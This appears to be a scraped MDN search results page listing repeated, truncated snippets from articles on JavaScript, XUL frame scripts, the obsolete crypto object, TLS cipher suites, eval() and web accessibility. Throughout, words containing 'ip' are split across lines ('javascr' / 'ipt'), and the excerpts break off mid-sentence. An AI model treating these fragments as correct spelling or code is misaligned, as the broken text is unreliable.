...namespace declaration is best located in a file of its own, so that you have this one js file that should be included in all of your xul files. we'll be using the placeholder <namespace> below. ...
...And 15 more matches
JavaScript crypto - Archive of obsolete content
able at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. using the mozilla crypto object from javascr
ipt mozilla defines a special javascr
ipt object to allow web pages access to certain cryptographic-related services. these services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. most of these services are available via the dom window object as window.crypto. services are provided to enable: smart card events, generating certif...
...rue. you can then register event handlers for these events with the document.addeventlistener() method. two smart card related events are generated: smartcard-insert when smartcards are inserted, and smartcard-remove when smartcards are removed. web sites which use ssl clientauth login could use the following code to refresh the page on token insertions and removals: <!doctype html> <p>... ...
...this allows the page to automatically login and logout based on the presence of the smartcard. generating keys and issuing user certificates there are several crypto object methods used in generating keys for certificates: generatecrmfrequest(), importusercertificates(). the generate...
...And 15 more matches
CSS and JavaScript accessibility best practices - Learn web development
previous overview: accessibility next css and javascr
ipt, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. this article outlines some css and javascr
ipt best practices that should be considered to ensure even complex content is as accessible as possible. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, and understanding of what accessibility is. objective: to gain familiarity with using css and javascr
ipt appropriately in your web documents to maximise accessibility and not detract from it. ...
...sidered to ensure even complex content is as accessible as possible. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, and understanding of what accessibility is. objective: to gain familiarity with using css and javascr
ipt appropriately in your web documents to maximise accessibility and not detract from it. css and javascr
ipt are accessible? css and javascr
ipt don't have the same immediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used. to put it another way, it is important that you consider some best practice advice to make sure that your use of css and javascr
ipt doesn't ruin the accessibility of your documents. css let's start off b...
...ly on these clues to help them know what is going on. tables tables for presenting tabular data. you can see a good, simple example of table html and css in our table-css.html example (see it live also). table css generally serves to make the table fit better into your design and look less ugly. it is a good idea to make sure the table headers stand out (normally using bold), and use zebra str
iping to make different rows easier to parse. color and color contrast when choosing a color scheme for your website, make sure that the text (foreground) color contrasts well with the background color. your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. there is an easy way to check whether your contrast is large enough t...
...And 15 more matches
Communicating with frame scripts
chrome code and frame scr
ipts communicate back and forth using a messaging api which can include json-serializable objects as arguments. the api is mostly symmetrical, with one major exception: frame scr
ipts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content. this is an intentional design decision made to prevent content code from making chrome code unresponsive. where absolutely necessary, frame scr
ipts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame scr
ipt can choose to send synchronous or asynchronous messages to chrome code. asynchronous messaging to send an async...
...all messages share the same namespace, so to avoid conflicts with other code, you'll need to ensure that the names you use are unique. ...
...wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame scr
ipt can choose to send synchronous or asynchronous messages to chrome code. asynchronous messaging to send an asynchronous message the frame scr
ipt uses the global sendasyncmessage() function: // frame scr
ipt sendasyncmessage("my-addon@me.org:my-e10s-extension-message"); sendasyncmessage() takes one mandatory parameter, which is the name of the message. all messages share the same namespace, so to avoid conflicts with other code, you'll need to ensure that the names you use are unique. if you're using the message manager in an add-on, a good way to do that is to prefix messages with your add-on's id...
...And 15 more matches
Script security
this page provides an overview of the scr
ipt security architecture in gecko. like any web browser, gecko can load javascr
ipt from untrusted and potentially hostile web pages and run it on the user's computer. the security model for web content is based on the same-origin policy, in which code gets full access to objects from its origin but highly restricted access to objects from a different origin. the rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers. gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascr
ipt. this javascr
ipt code, which is commonly referred to as chrome code, runs with system privileges. if the code...
... browsers. gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascr
ipt. this javascr
ipt code, which is commonly referred to as chrome code, runs with system privileges. if the code is compromised, the attacker can take over the user's computer. legacy sdk extensions also run with chrome privileges. having the browser front end in javascr
ipt has benefits: it can be much quicker to develop in javascr
ipt than in c++, and contributors do not need to learn c++. ...
...avascr
ipt code, which is commonly referred to as chrome code, runs with system privileges. if the code is compromised, the attacker can take over the user's computer. legacy sdk extensions also run with chrome privileges. having the browser front end in javascr
ipt has benefits: it can be much quicker to develop in javascr
ipt than in c++, and contributors do not need to learn c++. however, javascr
ipt is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. from the point of view of chrome code, the scr
ipt security model in gecko is intended to provide that help to make writing secure, system-privileged javascr
ipt a realistic expectation. security policy gecko implements the following security ...
...And 15 more matches
TLS Cipher Suite Discovery
and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large. tls does not allow all possible combinations of choices from those categories to be used. instead, tls allows only certain well-defined combinations of those choices, known as c
ipher suites, defined in the ietf rfc standards. each c
ipher suite is represented by a 16-bit number. the number of well-defined c
ipher suites grows with time, and no tls implementation offers all known c
ipher suites at all times. an implementation that claimed to offer all defined c
ipher suites would only be able to make that claim for a short time until another new c
ipher suite was defined. at an...
... number. the number of well-defined c
ipher suites grows with time, and no tls implementation offers all known c
ipher suites at all times. an implementation that claimed to offer all defined c
ipher suites would only be able to make that claim for a short time until another new c
ipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined c
ipher suites. each new release of a tls implementation may contain support for new c
ipher suites not supported in previous versions. ...
...e was defined. at any time, any real implementation implements some subset of the complete set of well-defined c
ipher suites. each new release of a tls implementation may contain support for new c
ipher suites not supported in previous versions. when a new version of a tls implementation is made available for use by applications, those applications may wish to immediately use the newly supported c
ipher suites found in the new version, without the application needing to be modified and re-released to know about these new c
ipher suites. to that end, nss's libssl offers a way for applications to discover at run time the set of c
ipher suites supported by that version of libssl. ...
...And 15 more matches
nsIClipboard
widget/nsicl
ipboard.idlscr
iptable this interface supports basic cl
ipboard operations such as: setting, retrieving, emptying, matching and supporting cl
ipboard data. ...
... widget/nsicl
ipboard.idlscr
iptable this interface supports basic cl
ipboard operations such as: setting, retrieving, emptying, matching and supporting cl
ipboard data. ...
... widget/nsicl
ipboard.idlscr
iptable this interface supports basic cl
ipboard operations such as: setting, retrieving, emptying, matching and supporting cl
ipboard data. ...
...And 15 more matches
Intensive JavaScript - Firefox Developer Tools
by default the browser uses a single thread to run all the javascr
ipt in your page as well as to perform layout, reflows, and garbage collection. this means that long-running javascr
ipt functions can block the thread, leading to an unresponsive page and a bad user experience. you can use the frame rate and waterfall tools to see when javascr
ipt is causing performance problems, and to single out the particular functions that need attention. in this article we'll take an example site whose long-running javascr
ipt causes responsiveness problems, and apply two different approaches to fixing them. the first is to split long-running functions into pieces and use requestanimationframe to schedule each piece, and the second is to run the whole function in a separate thread using a web wor...
...nning functions into pieces and use requestanimationframe to schedule each piece, and the second is to run the whole function in a separate thread using a web worker. if you want to play along you can find the demo website here. there's also a video version of this walkthrough: the demo website looks like this: it has three controls: a radio button group to control how to run the javascr
ipt: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker. a button to run the javascr
ipt, labeled "do pointless computations!". a button to start and stop some css animations. this just gives the browser some background tasks to perform. leaving the radio button set to "use bloc...
...this: the top half of this is the waterfall overview. it gives us a compressed view of the waterfall, which tells us what kinds of operations the browser is doing during the recording. the pink says that we are mostly performing css calculations and possibly reflow: this is the css animation that's running throughout the profile. then there are three solid blocks of orange, representing javascr
ipt execution, one for each time we pressed the button. the bottom half, which is correlated with the timeline summary in time, shows frame rate. we can see that frame rate is pretty healthy for most of the recording, but collapses completely whenever we press the button. we can select one of these periods and have a closer look at it in the main waterfall view: here, when we pressed the button...
...And 15 more matches
Functions - JavaScript
<< previousnext >> functions are one of the fundamental building blocks in javascr
ipt. a function in javascr
ipt is similar to a procedure--a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationsh
ip between the input and the output. to use a function, you must define it somewhere in the scope from which you wish to call it. see also the exhaustive reference chapter about javascr
ipt functions to get to know the details. defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function. a list of parameters...
... see also the exhaustive reference chapter about javascr
ipt functions to get to know the details. defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function. a list of parameters to the function, enclosed in parentheses and separated by commas. the javascr
ipt statements that define the function, enclosed in curly brackets, {...}. for example, the following code defines a simple function named square: function square(number) { return number * number; } the function square takes one parameter, called number. the function consists of one statement that says to return the parameter of the function (that is, number) mult
iplied by itself. the statem...
...element of the array received as a second argument. function map(f, a) { let result = []; // create a new array let i; // declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } const f = function(x) { return x * x * x; } let numbers = [0, 1, 2, 5, 10]; let cube = map(f,numbers); console.log(cube); function returns: [0, 1, 8, 125, 1000]. in javascr
ipt, a function can be defined based on a condition. for example, the following function definition defines myfunc only if num equals 0: var myfunc; if (num === 0) { myfunc = function(theobject) { theobject.make = 'toyota'; } } in addition to defining functions as described here, you can also use the function constructor to create functions from a string at runtime, much like eval(). a me...
...And 15 more matches
<mmultiscripts> - MathML
the mathml <mmultiscr
ipts> element allows you to create tensor-like objects. in a descr
iptive way tensors are multidimensional matrices (mathematical imprecise but exemplified). the degree of a tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wik
ipedia. ...
...tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wik
ipedia. ...
... the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wik
ipedia. ...
...And 15 more matches
Install script template - Archive of obsolete content
nstall location for other browsers to find. ...
...keys are written according to the specification: http://mozilla.org/projects/plugins/first-install-problem.html and follows the plid specification: http://mozilla.org/projects/plugins/plugin-identifier.html **/ // define some global variables var plugin_file = "npmyplugin.dll"; // this plugin consists of an xpt file because it is scr
iptable // http://mozilla.org/projects/plugins/scr
ipting-plugins.html var component_file = "npmypluginscr
iptable.xpt"; var plugin_size = 2000; // (dll file) reserve a little extra so it is not required to update too often var component_size = 10; // (xpi file) reserve a little extra so it is not required to update too often var software_name="cult3d mozilla viewer"; // plids (http://mozilla.org/projects/plugins/plugin-identifier.html) are ...
...n var component_size = 10; // (xpi file) reserve a little extra so it is not required to update too often var software_name="cult3d mozilla viewer"; // plids (http://mozilla.org/projects/plugins/plugin-identifier.html) are coined by vendors. ...
...And 14 more matches
Limitations of chrome scripts
this page describes patterns that used to work in the chrome process that will no longer work in mult
iprocess firefox. these are the sorts of things that will break an old add-on in mult
iprocess firefox. the fix is generally some variant of "do that in a frame scr
ipt loaded into the content process". this is one of a pair of articles: the other one lists limitations of frame scr
ipts. compatibility shims for many of the patterns described here we've implemented compatibility shims so the patterns still work. ...
...ompatibility shims for many of the patterns described here we've implemented compatibility shims so the patterns still work. for example: whenever extensions try to access web content from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content. you'll get the shims for your add-on by default, unless you set the mult
iprocesscompatible flag in your add-on's install manifest. however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom...
...ocesscompatible flag in your add-on's install manifest. however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom.
ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on. the rest of this page documents patterns that don't work in mult
iprocess firefox as well as how are shims try to paper over the problem. for each pattern we've noted: whether a shim exists and what kind of behavior it provides how to update your add-on so you don't need the shim gbrowser.contentwindow...
...And 14 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approach to solving a problem around timing and scheduling of tasks and microtasks, there are things about how the javascr
ipt runtime operates under the hood that may be useful to understand. that's what this section covers introduction javascr
ipt is an inherently single-threaded language. it was designed in an era in which this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascr
ipt was relatively low at that time. as time passed, of course, we know that computers have evolved into powerful multi-core systems, and javascr
ipt has become one of the most prolifically-used languages in the computing world. a vast numb...
...to the general public, and the expected amount of code that would be handled by javascr
ipt was relatively low at that time. as time passed, of course, we know that computers have evolved into powerful multi-core systems, and javascr
ipt has become one of the most prolifically-used languages in the computing world. a vast number of the most popular applications are based at least in part on javascr
ipt code. to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. ...
... most prolifically-used languages in the computing world. a vast number of the most popular applications are based at least in part on javascr
ipt code. to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascr
ipt environment provided by web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. ...
...And 14 more matches
JavaScript
javascr
ipt (js) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. while it is most well-known as the scr
ipting language for web pages, many non-browser environments also use it, such as node.js, apache couchdb and adobe acrobat. javascr
ipt is a prototype-based, multi-paradigm, single-threaded, dynamic language, supporting object-oriented, imperative, and declarative (e.g. functional programming) styles. read more about javascr
ipt. this section is dedicated to the javascr
ipt language itself, and not the parts that are specific to web pages or other host environments. for information about api specifics to web pages, please see web apis and dom. the standard for javascr
ipt is ecmascr
ipt. as of 2012, all modern browsers fully support ecm...
...e, and declarative (e.g. functional programming) styles. read more about javascr
ipt. this section is dedicated to the javascr
ipt language itself, and not the parts that are specific to web pages or other host environments. for information about api specifics to web pages, please see web apis and dom. the standard for javascr
ipt is ecmascr
ipt. as of 2012, all modern browsers fully support ecmascr
ipt 5.1. older browsers support at least ecmascr
ipt 3. on june 17, 2015, ecma international published the sixth major version of ecmascr
ipt, which is officially called ecmascr
ipt 2015, and was initially referred to as ecmascr
ipt 6 or es6. since then, ecmascr
ipt standards are on yearly release cycles. this documentation refers to the latest draft version, which is currently ecmascr
ipt 2020. do not c...
...and other countries. however, the two programming languages have a very different syntax, semantic, and use. ...
...And 14 more matches
JavaScript Debugger Service - Archive of obsolete content
obsolete since gecko 33 (firefox 33 / thunderbird 33 / seamonkey 2.30) this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. in firefox versions prior to gecko 33 (firefox 33 / thunderbird 33 / seamonkey 2.30), the javascr
ipt debugger service (or simply jsd) used to be an xpcom component that allows the tracking of javascr
ipt while it was being executed in the browser. however, jsd has been removed in favor of the debugger api. see the tracking bug bug 800200 for more details. sn
ippets acquiring the service we acquire the service by calling the xpcom object. var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebu...
...ervice by calling the xpcom object. var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism. next, we add code to the various hooks. ...
...the xpcom object. var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism. next, we add code to the various hooks. ...
...And 13 more matches
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings -- this is what pieces of text are called in programming. in this article, we'll look at all the common things that you really ought to know about strings when learning javascr
ipt, such as creating strings, escaping quotes in strings, and joining strings together. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to gain familiarity with the basics of strings in javascr
ipt. the power of words words are very important to humans -- they are a large part of how we communicate. since the web is a largely text-based medium designed to allow humans to communicate and share information, it is useful f...
...in javascr
ipt. the power of words words are very important to humans -- they are a large part of how we communicate. since the web is a largely text-based medium designed to allow humans to communicate and share information, it is useful for us to have control over the words that appear on it. html provides structure and meaning to our text, css allows us to precisely style it, and javascr
ipt contains a number of features for man
ipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more. pretty much all of the programs we've shown you so far in the course have involved some string man
ipulation. strings -- the basics strings are dealt with similarly to numbers at first glance, but w...
...an error (with "unterminated string literal"). if your program is raising such errors, then go back and check all your strings to make sure you have no missing quote marks. the following will work if you previously defined the variable string -- try it now: let badstring = string; badstring; badstring is now set to have the same value as string. single quotes vs. double quotes in javascr
ipt, you can choose single quotes or double quotes to wrap your strings in. both of the following will work okay: let sgl = 'single quotes.'; let dbl = "double quotes"; sgl; dbl; there is very little difference between the two, and which you use is down to personal preference. you should choose one and stick to it, however; differently quoted code can be confusing, especially if you use two dif...
...And 13 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascr
ipt (oojs) -- this article presents a basic view of object-oriented programming (oop) theory, then explores how javascr
ipt emulates object classes via constructor functions, and how to create object instances. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand the basic theory behind object-oriented programming, how this relates to javascr
ipt ("everything is an object"), and how to create constructors and object instances. object-oriented programming -- the basics to start wi...
...ses, as each definition of that feature will be in a different namespace. for example, a student's greeting might be of the form "yo, i'm [firstname]" (e.g yo, i'm sam), whereas a teacher might use something more formal, such as "hello, my name is [prefix] [lastname], and i teach [subject]." (e.g hello, my name is mr griffiths, and i teach chemistry). ...
...bject]." (e.g hello, my name is mr griffiths, and i teach chemistry). note: the fancy word for the ability of mult
iple object types to implement the same functionality is polymorphism. just in case you were wondering. you can now create object instances from your child classes. for example: in the rest of the article, we'll start to look at how oop theory can be put into practice in javascr
ipt. constructors and object instances javascr
ipt uses special functions called constructor functions to define and initialize objects and their features. they are useful because you'll often come across situations in which you don't know how many objects you will be creating; constructors provide the means to create as many objects as you need in an effective way, attaching data and functions to ...
...And 13 more matches
Frame script loading and lifetime
loading frame scr
ipts to load a frame scr
ipt use the loadframescr
ipt() function. this line of code loads a frame scr
ipt into the currently selected tab. the scr
ipt just writes "foo" to the command line: // chrome scr
ipt var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescr
ipt('data:,dump("foo\\n")', true); loadframescr
ipt() takes two mandatory parameters: a url that points to the frame scr
ipt you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescr
ipt() may load the scr
ipt mult
iple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scr
ipts. to define the mapping between a chrome:// url and a f...
...frame scr
ipt you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescr
ipt() may load the scr
ipt mult
iple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scr
ipts. ...
...ramescr
ipt() may load the scr
ipt mult
iple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scr
ipts. to define the mapping between a chrome:// url and a frame scr
ipt packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome scr
ipt mm.loadframescr
ipt("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame scr
ipt will be loaded into any new frame, which has opened after the loadframescr
ipt() call. ...
...And 13 more matches
PaymentRequest.shippingAddress - Web APIs
// initialization of paymentrequest arguments are excerpted for the sake of // brevity. ...
... // initialization of paymentrequest arguments are excerpted for the sake of // brevity. ...
... // initialization of paymentrequest arguments are excerpted for the sake of // brevity. ...
...And 13 more matches
ScriptProcessorNode - Web APIs
the scr
iptprocessornode interface allows the generation, processing, or analyzing of audio using javascr
ipt. note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode). the scr
iptprocessornode interface is an audionode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data. an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data. ...
...ne containing the input audio data, one containing the processed output audio data. an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data. the size of the input and output buffer are defined at the creation time, when the audiocontext.createscr
iptprocessor() method is called (both are defined by audiocontext.createscr
iptprocessor()'s buffersize parameter). the buffer size must be a power of 2 between 256 and 16384, that is 256, 512, 1024, 2048, 4096, 8192 or 16384. small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches. if the buffer size is not defined, which is recommended, the browser wi...
... buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode. scr
iptprocessornode.buffersize read only returns an integer representing both the input and output buffer size. its value can be a power of 2 value in the range 256-16384. methods no specific methods; inherits methods from its parent, audionode. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: audioprocess ...
...And 13 more matches
Unicode property escapes - JavaScript
unicode property escapes regular expressions allows for matching characters based on their unicode properties. a character is described by several properties which are either binary ("boolean-like") or non-binary. for instance, unicode property escapes can be used to match emojis, punctuations, letters (even letters from specific languages or scr
ipts), etc. note: for unicode property escapes to work, a regular expression must use the u flag which indicates a string must be considered as a series of unicode code points. see also regexp.prototype.unicode. note: some unicode properties encompasses much more characters than some character classes (such as \w which matches only latin letters, a to z) but the latter is better supported among browsers (as of january 2020). syntax the fol...
... january 2020). syntax the following section is also duplicated on this cheatsheet. do not forget to edit it as well, thanks! // non-binary values \p{unicodepropertyvalue} \p{unicodepropertyname=unicodepropertyvalue} // binary and non-binary values \p{unicodebinarypropertyname} // negation: \p is negated \p \p{unicodepropertyvalue} \p{unicodebinarypropertyname} general_category (gc) scr
ipt (sc) scr
ipt_extensions (scx) see also propertyvaluealiases.txt unicodebinarypropertyname the name of a binary property. e.g.: ascii, alpha, math, diacritic, emoji, hex_digit, math, white_space, etc. see unicode data proplist.txt for more info. unicodepropertyname the name of a non-binary property: unicodepropertyvalue one of the tokens listed in the values section, below. many values...
...ropertyname part and equals sign may be omitted. if a unicodepropertyname is specified, the value must correspond to the property type given. note: as there are many properties and values available, we will not describe them exhaustively here but rather provide various examples rationale before es2018 there was no performance-efficient way to match characters from different sets based on scr
ipts (like macedonian, greek, georgian etc.) or propertyname (like emoji etc) in javascr
ipt. check out tc39 proposal on unicode property escapes for more info. examples general categories general categories are used to classify unicode characters and subcategories are available to define a more precise categorization. it is possible to use both short or long forms in unicode property escapes. th...
...And 13 more matches
eval() - JavaScript
the expression can include variables and properties of existing objects. return value the completion value of evaluating the given code. ...
...the expression can include variables and properties of existing objects. return value the completion value of evaluating the given code. ...
...ver use eval()!, below. the eval() function evaluates javascr
ipt code represented as a string. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax eval(string) parameters string a string representing a javascr
ipt expression, statement, or sequence of statements. the expression can include variables and properties of existing objects. return value the completion value of evaluating the given code. if the completion value is empty, undefined is returned. descr
iption eval() is a function property of the global object. the argument of the eval() function is a string. if the string represents an express...
...And 13 more matches
Cross-domain Content Scripts - Archive of obsolete content
by default, content scr
ipts don't have any cross-domain privileges. in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content scr
ipt will not be allowed to access content served from https://example.com/. wildcards are not allowed. this f...
...tent": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content scr
ipt will not be allowed to access content served from https://example.com/. wildcards are not allowed. this feature is currently only available for content scr
ipts, not for page scr
ipts included in html files sh
ipped with your add-on. cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content scr
ipt called "page.js" to the page, waits for messages from the scr
ipt, and logs the payload. //main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker")...
...ith your add-on. cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content scr
ipt called "page.js" to the page, waits for messages from the scr
ipt, and logs the payload. ...
...And 12 more matches
tooltip - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] this element is used for the toolt
ip popups. for text-only toolt
ips, this element doesn't need to be used; instead you may just add a toolt
iptext attribute to an element. more information is available in the xul tutorial. ...
... a toolt
iptext attribute to an element. more information is available in the xul tutorial. ...
...xt attribute to an element. more information is available in the xul tutorial. ...
...And 12 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
proper xhtml is an application of xml and as such requires that authors follow strict rules when authoring xhtml. in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ... ]]>). comments (<!---- ... ---->) must not contain double dashes (----). content contained within comments (<!---- ... ---->) can be ignored. ...
...ication of xml and as such requires that authors follow strict rules when authoring xhtml. in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ... ]]>). comments (<!---- ... ---->) must not contain double dashes (----). content contained within comments (<!---- ... ---->) can be ignored. ...
... raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ... ]]>). comments (<!---- ... ---->) must not contain double dashes (----). content contained within comments (<!---- ... ---->) can be ignored. problems with inline style and scr
ipt inline style and scr
ipt tags can cause several different problems in xhtml when it is treated as xml rather than html. javascr
ipt contains characters which can not exist in xhtml javascr
ipt typically contains characters which can not exist in xhtml outside of cdata sections. <scr
ipt type="text/javascr
ipt"> var i = 0; while (++i < 10) { // ... } </scr
ipt> note that this example is not well formed xhtml since the use of raw < is only allowed as a part of markup in xhtml or xml. use of comments inside inline...
...And 12 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascr
ipt (or "js") is a programming language used most often for dynamic client-side scr
ipts on webpages, but it is also often used on the server-side, using a runtime such as node.js. javascr
ipt should not be confused with the java programming language. although "java" and "javascr
ipt" are trademarks (or registered trademarks) of oracle in the u.s. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases. javascr
ipt is primarily used in the browser, enabling developers to man
ipulate webpage content through the dom, man
ipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. ...
... in the u.s. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases. javascr
ipt is primarily used in the browser, enabling developers to man
ipulate webpage content through the dom, man
ipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. javascr
ipt is one of the world's most commonly-used languages, owing to the recent growth and performance improvement of apis available in browsers. ...
... ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. javascr
ipt is one of the world's most commonly-used languages, owing to the recent growth and performance improvement of apis available in browsers. origins and history conceived as a server-side language by brendan eich (then employed by the netscape corporation), javascr
ipt soon came to netscape navigator 2.0 in september 1995. javascr
ipt enjoyed immediate success and internet explorer 3.0 introduced javascr
ipt support under the name jscr
ipt in august 1996. ...
...And 12 more matches
Tips for authoring fast-loading HTML pages - Learn web development
these t
ips are based on common knowledge and experimentation. an optimized web page not only provides for a more responsive site for your visitors but also reduces the load on your web servers and internet connection. this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories. optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. t
ips reduce page weight page weight is by far the most important factor in page-load performance. reducing page weight through the elimination of unnecessary whitesp...
...le device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. t
ips reduce page weight page weight is by far the most important factor in page-load performance. reducing page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline scr
ipt and css into external files, can improve download performance with minimal need for other changes in the page structure. tools such as html tidy can automatically str
ip leading whitespace and extra blank lines from valid html source. other tools can "compress" javascr
ipt by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions. minimize the n...
...between the user and your website. cdns store cached versions of your website and serve them to visitors via the network node closest to the user, thereby reducing latency. further reading: understanding cdns reduce domain lookups since each separate domain costs time in a dns lookup, the page load time will grow along with the number of separate domains appearing in css link(s) and javascr
ipt and image src(es). this may not always be practical; however, you should always take care to use only the minimum necessary number of different domains in your pages. cache reused content make sure that any content that can be cached, is cached, and with appropriate expiration times. in particular, pay attention to the last-modified header. it allows for efficient page caching; by means of t...
...And 12 more matches
Use JavaScript within a webpage - Learn web development
take your webpages to the next level by harnessing javascr
ipt. learn in this article how to trigger javascr
ipt right from your html documents. prerequisites: you need to be familiar with how to create a basic html document. objective: learn how to trigger javascr
ipt in your html file, and learn the most important best practices for keeping javascr
ipt accessible. about javascr
ipt javascr
